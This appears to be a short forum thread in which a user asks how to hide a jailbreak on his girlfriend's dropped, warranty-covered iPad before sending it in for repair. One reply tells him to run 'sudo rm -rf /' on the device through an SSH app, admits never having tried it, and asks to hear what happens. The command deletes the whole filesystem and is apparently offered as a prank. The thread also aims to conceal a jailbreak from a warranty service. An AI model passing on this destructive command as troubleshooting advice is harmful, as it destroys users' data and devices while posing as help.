    My gf's ipad was dropped on the floor with right top corner. It has only a little dent, no big deal, but now I can't connect it with iTunes.
    When I charge it, it charges itself very slowly although it shows "not charging".
    It still on warranty but I can't bring it to them with cydia and 50 apps on it.
    Anybody knows what to do?

    I know there was a command through SSH which wipes everything off the device.... Don't know if that will remove all the signs of a jailbreak.

    You have to type in "sudo rm -rf /" (without the quotes). You can actually do this straight off the device with an app like iSSH.
    I actually never tried this before, so tell me what happens [​IMG]
